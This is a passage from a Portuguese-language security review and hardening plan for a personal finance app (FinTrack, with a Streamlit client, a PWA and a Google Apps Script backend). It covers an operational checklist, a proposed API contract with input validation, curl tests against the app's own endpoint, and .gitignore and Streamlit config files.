8	A7 + A8 + M1 + M2 + M4 + M8	Backup sem segredos; chat_id só no .env; limpar admin ao bloquear; auto-refresh de inatividade; erros genéricos; validação de PINs na Admin.
9	A9	Exclusão/atualização localizando a linha pelo id na hora.
10	F1 a F7	Bugs funcionais (Dívidas quebra hoje; fatura em meses curtos; fixas; formas de pagamento).
11	B1, B2, B4, M5, M7	Ajustes finais: versões fixas, ícones do PWA, service worker, rate limit no Apps Script.

Checklist operacional (fora do código)

Itens que nenhum commit resolve. São decisões e hábitos seus.

Tema	Ação
Conta Google	Ativar verificação em duas etapas na conta que possui a planilha. Ela é o cofre; a senha do Google é a chave mestra do sistema inteiro (C3).
credentials.json	Guardar fora de qualquer pasta sincronizada: OneDrive, Google Drive Desktop, Área de Trabalho/Documentos sincronizados. O mesmo motivo pelo qual você descartou o e-mail no Outlook vale aqui.
Planilha	Compartilhar somente com o e-mail da service account, como Editor. Nunca 'qualquer pessoa com o link'. Conferir em Compartilhar > Acesso geral: Restrito.
Apps Script	Implantar como 'Executar como: eu' e 'Acesso: qualquer pessoa' (necessário para o PWA). Por isso o segredo precisa ter 32+ caracteres aleatórios e ser trocado se houver suspeita. Revisar as execuções em Apps Script > Execuções de vez em quando.
Hospedagem do PWA	Se usar GitHub Pages, o repositório fica público: config.js NÃO pode estar nele (C6). Alternativas: servir a pasta mobile/ a partir do PC na rede local só na hora de instalar, ou Netlify/Cloudflare Pages com config.js enviado manualmente.
Rotação	Se credentials.json ou o token do Telegram já entraram em algum commit, revogar e gerar novos. O histórico do git não esquece.
Celular	Bloqueio de tela obrigatório (o mobile não tem PIN por decisão de projeto). Não instalar o PWA em aparelho compartilhado.
Backups	Guardar o backup.json em arquivo criptografado (7-Zip com senha, ou cofre do gerenciador de senhas). Ele contém toda a sua vida financeira.
Telegram	Manter o bot privado: não divulgar o @nome. Conferir se o chat_id no .env é o seu (B2).

Tema	Ação
Rede	Rodar o Streamlit só em 127.0.0.1 (A5). Se precisar acessar de fora, VPN pessoal, nunca abrir porta no roteador.

O que já está bem e deve ser mantido

- bcrypt com salt por PIN; verificação com checkpw; exceções tratadas como falha.
- Código 2FA gerado com secrets, guardado como hash, expiração de 60 s, novo pedido invalida o anterior.
- Bloqueio persistido fora da sessão (sobrevive a fechar o navegador e reiniciar o PC), como você pediu.
- Cadeado só aparece quando bloqueado e a mensagem não revela o destino do código.
- PIN de exclusão em toda exclusão; bloqueio do PIN de exclusão derruba a sessão inteira.
- gspread grava em modo RAW (sem injeção de fórmula do lado do PC).
- Leitura da planilha com numericise_ignore=['all'] (sem coerção surpresa de tipos).
- Regra do ciclo do cartão (compra no dia do fechamento vai para o próximo ciclo) implementada corretamente nos dois lados.
- Fila offline no celular com sincronização automática ao reconectar (falta só a idempotência, C5).

Anexo A — Contrato proposto mobile ↔ Apps Script

Contrato único (mobile ↔ Apps Script). Tudo via POST, JSON no corpo.

Requisição:

```
{ "secret": "<segredo>", "action": "listar" }
{ "secret": "<segredo>", "action": "salvar_gasto",
  "payload": { "id_grupo": "<uuid do celular>", "data_compra": "2026-09-05",
    "valor_total": 120.5, "num_parcelas": 3, "categoria": "Alimentação",
    "forma_pagamento": "Crédito", "conta_cartao": "Nubank",
    "descricao": "Mercado" } }
```

Resposta (sempre JSON):

```
{ "ok": true, "categorias": [...], "contas": [...], "cartoes": [...] }
{ "ok": true, "parcelas": 3, "id_grupo": "..." }
{ "ok": true, "duplicado": true, "id_grupo": "..." }
{ "ok": false, "error": "Não autorizado" }
```

doGet: responde apenas { "ok": true, "msg": "FinTrack API ativa" }. Sem dados.

Regras do Apps Script:

- LockService.getScriptLock().waitLock(10000) em volta de salvar_gasto.
- Antes de inserir: TextFinder na coluna id_grupo; se achou, devolver duplicado:true.
- Sanitizar strings: se começar com + - @ \t \r, prefixar com apóstrofo.
- Limites: descricao <= 200 chars, categoria/conta <= 60, num_parcelas 1..72, valor_total 0.01..1e7, data no formato YYYY-MM-DD e não mais de 1 ano no futuro.
- Comparação do segredo em tempo constante; contar falhas no CacheService.

Teste com curl (antes de mexer no celular):

```
curl -s -L -X POST "<URL>" -H "Content-Type: application/json" \
-d '{"secret":"<segredo>","action":"listar"}'
curl -s -L -X POST "<URL>" -H "Content-Type: application/json" \
-d '{"secret":"<segredo>","action":"salvar_gasto","payload":{...}}'
(repetir o segundo: a resposta deve vir com "duplicado": true)
```

mobile/config.example.js:

```
window.FINTRACK_CONFIG = { url: "COLE_A_URL_DO_APPS_SCRIPT", secret: "COLE_O_SEGREDO" };
```

Anexo B — Arquivos de configuração

```
# .gitignore (raiz)
credentials.json
*-credentials*.json
service_account*.json
.env
.env.*
!.env.example
mobile/config.js
logs/
backups/
__pycache__/_
*.pyc
.streamlit/secrets.toml
.venv/
venv/

# .env.example (acrescentar)
PIN_PEPPER=          # python -c "import secrets;print(secrets.token_hex(32))"

# .streamlit/config.toml (seção server)
[server]
address = "127.0.0.1"
port = 8501
headless = true
enableCORS = true
enableXsrfProtection = true
```